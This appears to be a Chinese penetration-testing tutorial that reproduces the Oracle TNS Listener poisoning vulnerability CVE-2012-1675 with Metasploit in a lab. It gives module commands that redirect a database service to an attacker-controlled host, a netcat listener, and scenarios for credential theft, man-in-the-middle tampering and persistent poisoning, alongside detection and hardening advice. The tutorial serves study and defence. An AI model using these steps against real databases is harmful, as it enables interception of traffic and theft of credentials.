1. 项目概述与背景解析最近在整理一些老漏洞的复现笔记翻到了Oracle数据库历史上一个挺有意思的漏洞——CVE-2012-1675业内也常称之为“TNS Listener远程数据投毒漏洞”。这个漏洞虽然年份久远但它的原理和影响范围在今天看来依然具有很高的学习价值尤其是在理解数据库网络服务和中间人攻击方面。很多刚接触渗透测试的朋友可能对Metasploit的使用还停留在exploit/multi/handler或者exploit/windows/smb/ms17_010_eternalblue这类“一键式”操作上对于如何针对特定服务、特定漏洞进行手动配置和利用缺乏一个完整的认知闭环。这次我就以Kali Linux为操作平台用Metasploit框架完整地走一遍这个漏洞的复现流程目标不仅仅是“跑通”更重要的是理解每一个步骤背后的“为什么”。简单来说CVE-2012-1675漏洞的核心在于Oracle数据库的“透明网络底层”Transparent Network Substrate, TNS监听器Listener。这个监听器负责处理客户端与数据库实例之间的初始连接。漏洞允许攻击者在不进行身份验证的情况下向一个正在运行的TNS监听器发送精心构造的数据包从而“投毒”其注册信息。成功利用后攻击者可以将目标数据库实例的连接请求重定向到另一个由攻击者控制的数据库服务器上。这听起来有点像DNS劫持只不过发生在数据库的网络协议层。想象一下一个应用程序以为自己连接的是公司核心的生产数据库实际上所有流量都被悄无声息地导到了一个“山寨”数据库上攻击者可以在那里窃听、篡改数据甚至发起进一步的攻击后果可想而知。为什么选择在Kali上用Metasploit复现首先Kali集成了渗透测试所需的大量工具链环境纯净且易于配置。其次Metasploit的auxiliary/scanner/oracle/tnspoison_checker和auxiliary/admin/oracle/tnspoison模块对这个漏洞的支持非常成熟它不仅能检测漏洞存在还能执行实际的投毒攻击并且提供了清晰的参数和反馈非常适合教学和原理验证。整个过程会涉及网络扫描、漏洞验证、参数配置、攻击执行以及结果验证等多个环节是一个很好的综合性练习。2. 环境准备与目标确认在开始动手之前明确我们的实验环境是至关重要的。为了安全且合法地学习强烈建议在隔离的虚拟化环境中进行所有操作例如使用VirtualBox或VMware搭建的专属实验网络。2.1 攻击机环境配置我们的攻击机是Kali Linux。首先确保系统是最新状态并且Metasploit框架已就绪。打开终端执行以下命令更新源并检查Metasploitsudo apt update sudo apt upgrade -y msfconsole --version如果Metasploit没有安装可以使用sudo apt install metasploit-framework进行安装。进入msfconsole后我们第一步需要搜索与Oracle TNS相关的模块。msf6 search oracle tnspoison Matching Modules # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/oracle/tnspoison 2012-04-18 normal No Oracle TNS Listener Poison Attack 1 auxiliary/scanner/oracle/tnspoison_checker 2012-04-18 normal Yes Oracle TNS Listener Poison Checker这里我们看到两个关键模块tnspoison_checker检查器和tnspoison攻击器。我们通常会先用检查器扫描目标确认漏洞存在且环境符合利用条件后再使用攻击器。2.2 靶机环境搭建对于靶机我们需要一个存在CVE-2012-1675漏洞的Oracle数据库环境。由于Oracle数据库安装复杂且版权受限在实验环境中我推荐以下几种方案预构建的漏洞虚拟机如 VulnHub、TryHackMe 或某些安全实验室提供的包含老旧Oracle版本的镜像例如Oracle Database 10g/11g的早期版本。这是最方便快捷的方式。Docker容器社区有一些Docker镜像模拟了存在漏洞的Oracle TNS监听器服务。你可以搜索相关镜像但需要注意其合法性和完整性。自定义安装如果你有Oracle的合法授权可以在虚拟机中安装一个特定版本的Oracle Database例如11.2.0.3之前未打补丁的版本并确保TNS监听器运行在默认端口1521上。在本记录中我们假设靶机IP地址为192.168.1.100运行着一个未打补丁的Oracle 11g数据库其TNS监听器在1521端口上监听。2.3 网络与依赖检查确保攻击机Kali和靶机Oracle数据库在同一个网络段能够互相ping通。同时需要确认Kali上是否有必要的网络工具如ncnetcat、tnscmd10g等这些工具有时在手动探测时能提供额外信息。可以用which nc和which tnscmd10g检查。注意复现此类漏洞必须确保在授权范围内进行。任何对非自有或未授权系统的测试都是非法的。3. 漏洞原理深度剖析在启动Metasploit之前花点时间彻底理解CVE-2012-1675的原理这能让你在后续操作中清楚地知道每一步在做什么而不是机械地输入命令。Oracle的TNS监听器有一个动态注册机制。当一个数据库实例启动时它会向监听器注册自己的服务名和连接信息。此外监听器也接受远程注册。漏洞就出在这个“远程注册”过程的验证上。正常的流程一个合法的数据库实例INST_A向监听器LISTENER发送注册包说“你好我是服务名ORCL我的地址是192.168.1.100:1521。” 监听器会把这个信息记录到自己的服务表里。漏洞利用流程监听攻击者首先需要运行一个自己控制的“恶意”Oracle数据库实例INST_B它监听在另一个IP和端口上例如192.168.2.200:1522。投毒攻击者向目标监听器192.168.1.100:1521发送一个伪造的注册数据包。这个包会声称“我是服务名ORCL但我的新地址是192.168.2.200:1522。”覆盖由于漏洞的存在目标监听器在验证这个“更新”请求时存在缺陷它会用攻击者提供的新地址覆盖掉原来合法的ORCL服务地址。重定向当客户端比如一个应用程序服务器尝试连接服务名ORCL时监听器会查看自己的服务表发现ORCL指向192.168.2.200:1522于是将连接请求转发给攻击者的数据库。中间人攻击攻击者的数据库可以配置成“透明代理”将连接请求再次转发到真正的数据库192.168.1.100:1521从而在中间窃取或篡改所有通信数据。也可以直接提供一个伪造的数据库来收集凭证。简单类比就像你去邮局监听器登记你的住址服务地址。本来你住在A街1号。一个骗子跑到邮局说“我是你我现在搬到B街2号了”。有漏洞的邮局不经核实就更新了记录。以后所有寄给你的邮件都被送到了B街2号的骗子手里。Metasploit的tnspoison模块自动化完成了“投毒”这一步。而tnspoison_checker模块则是发送一个特殊的探测包根据监听器的响应来判断它是否容易受到此类攻击。4. 利用Metasploit进行漏洞复现现在我们进入实战操作环节。打开你的Kali终端输入msfconsole进入框架。4.1 第一阶段漏洞扫描与确认首先使用检查器模块确认目标是否存在漏洞。msf6 use auxiliary/scanner/oracle/tnspoison_checker msf6 auxiliary(scanner/oracle/tnspoison_checker) show options Module options (auxiliary/scanner/oracle/tnspoison_checker): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 1521 yes The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host)我们需要设置目标地址。假设我们只扫描一个主机。msf6 auxiliary(scanner/oracle/tnspoison_checker) set RHOSTS 192.168.1.100 RHOSTS 192.168.1.100 msf6 auxiliary(scanner/oracle/tnspoison_checker) run [*] 192.168.1.100:1521 - Checking 192.168.1.100:1521 for vulnerability... [*] 192.168.1.100:1521 - Sending probe... [] 192.168.1.100:1521 - The TNS listener is vulnerable to poisoning (CVE-2012-1675). [*] 192.168.1.100:1521 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed看到[]标志和“vulnerable”字样说明目标确实存在漏洞。如果显示[-] ... is not vulnerable则说明目标可能已经打了补丁或者监听器配置了防护措施如VALID_NODE_CHECKING_REGISTRATION参数复现将无法继续。4.2 第二阶段配置攻击模块确认漏洞存在后我们切换到攻击模块。msf6 use auxiliary/admin/oracle/tnspoison msf6 auxiliary(admin/oracle/tnspoison) show options Module options (auxiliary/admin/oracle/tnspoison): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 1521 yes The target port (TCP) SID yes The sid/service to poison. TARGET_SERVER yes The server to redirect connections to (ip[:port]). TARGET_SID no The sid/service on the target server (default: same as SID).这里有几个关键参数需要理解并设置RHOSTS目标监听器地址即192.168.1.100。SID要投毒的Oracle服务名Service ID。这是最关键的一步。你需要知道目标数据库上运行的一个有效服务名。常见的默认服务名有ORCL、XEExpress Edition、PROD等。如果不知道需要进行服务枚举。我们可以用Metasploit的其他模块比如auxiliary/scanner/oracle/tnslsnr_version来获取信息或者用tnscmd10g工具手动查询tnscmd10g version -h 192.168.1.100。这里我们假设目标服务名是ORCL。TARGET_SERVER攻击者控制的恶意数据库服务器的地址。这是另一个关键点。你需要准备另一台机器可以是同一台Kali上的另一个端口也可以是网络中的另一台主机运行一个Oracle实例或模拟器并监听某个端口。为了简化实验我们可以在Kali本机上使用一个简单的网络工具如socat模拟一个监听端口但这只能演示“投毒”成功无法演示完整的中间人流量。更真实的测试需要另一台Oracle实例。这里假设我们控制的服务器IP是192.168.1.200端口用1522。TARGET_SID可选。重定向到的目标服务器上的服务名默认与SID相同。设置参数msf6 auxiliary(admin/oracle/tnspoison) set RHOSTS 192.168.1.100 RHOSTS 192.168.1.100 msf6 auxiliary(admin/oracle/tnspoison) set SID ORCL SID ORCL msf6 auxiliary(admin/oracle/tnspoison) set TARGET_SERVER 192.168.1.200:1522 TARGET_SERVER 192.168.1.200:15224.3 第三阶段执行投毒攻击参数设置完毕执行攻击。msf6 auxiliary(admin/oracle/tnspoison) run [*] 192.168.1.100:1521 - Poisoning service ORCL on 192.168.1.100:1521... [*] 192.168.1.100:1521 - Sending poisoned service data... [] 192.168.1.100:1521 - Poison data sent successfully. Connections to ORCL may now be redirected to 192.168.1.200:1522. [*] Auxiliary module execution completed看到[] Poison data sent successfully恭喜你投毒攻击已经完成。此时目标TNS监听器内部的服务注册表中ORCL服务对应的地址很可能已经被修改为192.168.1.200:1522。4.4 第四阶段验证攻击效果攻击是否真的生效我们需要进行验证。验证方法有多种在攻击机Kali上模拟客户端连接使用Oracle的sqlplus客户端尝试连接需要安装Oracle Instant Client。如果连接被重定向到我们设定的192.168.1.200:1522并且我们在那台机器上用tcpdump或Wireshark抓包看到了连接请求就证明成功。# 在Kali上假设安装了sqlplus sqlplus system/password192.168.1.100:1521/ORCL如果攻击成功这个连接请求的网络流量目的地将是192.168.1.200:1522。在攻击者控制的服务器上监听在192.168.1.200上使用netcat或socat监听1522端口观察是否有来自目标网络或客户端的连接尝试。# 在192.168.1.200上执行 nc -lvnp 1522查询监听器状态如果可能如果对目标有进一步的信息收集能力可以尝试用tnscmd10g命令查询监听器的服务状态观察ORCL服务的ADDRESS字段是否发生了变化。但这通常需要更多权限。实操心得在实际渗透测试中仅仅发送投毒包可能不够。因为合法的数据库实例会定期向监听器重新注册覆盖掉攻击者的投毒记录。因此一个更稳定的攻击模式是“持续投毒”即需要周期性地例如每30秒发送投毒包以维持对服务条目的控制。Metasploit的这个模块是单次攻击要实现持续投毒可能需要编写脚本循环调用该模块或者使用其他更专业的工具。5. 高级利用场景与防御思考成功复现漏洞只是第一步理解如何将其用于真实的攻击链以及如何防御更为重要。5.1 从投毒到全面入侵单纯的TNS投毒本身并不能直接获取数据库权限。它是一个“跳板”漏洞为后续攻击创造条件凭证窃取攻击者搭建一个恶意的Oracle实例配置成记录所有登录尝试。当应用程序连接被重定向过来时其数据库用户名和密码可能是明文或可破解的哈希就会被记录。中间人MitM与数据篡改攻击者可以部署一个透明的TNS代理。所有客户端流量先经过代理代理将流量转发给真实数据库同时可以实时查看、修改传输的SQL语句和结果集。例如将SELECT salary FROM employees的查询结果翻倍或者插入一条额外的转账指令。结合其他漏洞获取到有效的数据库凭证后攻击者可以进一步利用数据库本身的漏洞如权限提升、SQL注入等获取操作系统权限从而完全控制服务器。5.2 漏洞检测与防御措施从防御者角度如何发现和阻止此类攻击检测网络监控在数据库网络边界部署IDS/IPS设置规则检测异常的TNS注册数据包特别是来自非受信IP的注册请求。监听器日志分析定期检查Oracle TNS监听器的日志文件listener.log寻找异常的SERVICE_UPDATE或来自未知源的注册事件。服务状态监控使用lsnrctl services命令定期检查注册服务的地址对比基线发现异常的重定向。防御打补丁这是最根本的解决方案。为Oracle数据库应用最新的CPUCritical Patch Update。网络隔离将Oracle数据库服务器部署在内网严格限制访问源只允许特定的应用服务器IP连接1521端口。在防火墙上拒绝外部对1521端口的直接访问。配置强化在listener.ora配置文件中设置以下安全参数SECURE_REGISTER_LISTENER (TCP)或SECURE_REGISTER_LISTENER (IPC)限制注册的协议。VALID_NODE_CHECKING_REGISTRATION ON/SUBNET/LOCAL此参数至关重要。它限制了可以向监听器动态注册服务的客户端IP地址。设置为LOCAL只允许本地注册能彻底防御远程投毒。REMOTE_REGISTRATION_ADDRESS如果必须远程注册则在此指定允许注册的特定地址。使用静态注册在listener.ora中手动静态配置服务信息SID_LIST_LISTENER完全禁用动态注册功能。启用TNS监听器密码为监听器管理设置密码防止未授权的管理命令。5.3 复现过程中的常见问题与排查在复现过程中你可能会遇到以下问题问题现象可能原因排查步骤与解决方案tnspoison_checker返回not vulnerable1. 目标已打补丁。2. 监听器配置了VALID_NODE_CHECKING_REGISTRATION等防护。3. 网络不通或防火墙拦截。1. 确认Oracle版本和补丁级别。2. 尝试用tnscmd10g status等命令获取更多监听器信息。3. 用telnet或nc检查1521端口连通性。tnspoison模块执行后无成功提示1.SID设置错误目标无此服务。2.TARGET_SERVER地址不可达或端口未监听。3. 投毒包被网络设备过滤。1. 使用auxiliary/scanner/oracle/sid_enum等模块枚举有效SID。2. 确保TARGET_SERVER的IP和端口正确并在其上启动一个监听服务如nc -lvp 1522以接收测试连接。3. 检查网络路径确保攻击包能到达目标。投毒成功但客户端连接未重定向1. 客户端使用了本地命名解析tnsnames.ora直接指定了实例地址绕过了监听器的服务查询。2. 合法数据库实例频繁重新注册覆盖了投毒条目。3. 监听器有多个客户端连接了另一个。1. 检查客户端的连接方式。此漏洞主要影响依赖监听器动态服务查询的连接。2. 实施“持续投毒”编写脚本定期运行攻击模块。3. 确认客户端实际连接的监听器地址和端口。Metasploit模块运行报错或崩溃1. Ruby环境或Metasploit依赖问题。2. 模块与特定Oracle版本交互存在兼容性问题。1. 更新Kali及Metasploit到最新版本msfupdate。2. 查看详细错误日志尝试在msfconsole中设置LogLevel 3获取更多调试信息。3. 搜索Metasploit的GitHub Issues看是否有已知问题。个人经验分享在内部网络测试时我曾遇到一个案例tnspoison_checker显示漏洞存在但投毒始终不成功。后来发现是目标服务器的本地防火墙iptables规则丢弃了来自非信任子网的数据包尽管端口是开放的。所以“漏洞存在”不等于“漏洞可被利用”网络拓扑和主机防火墙是必须考虑的因素。另外对于现代稍具规模的数据中心数据库通常位于严格隔离的网段从互联网直接攻击1521端口的场景已不多见但在内网横向移动阶段这个漏洞仍可能成为突破边界的一把利器。理解原理掌握方法才能更好地进行安全评估与防护。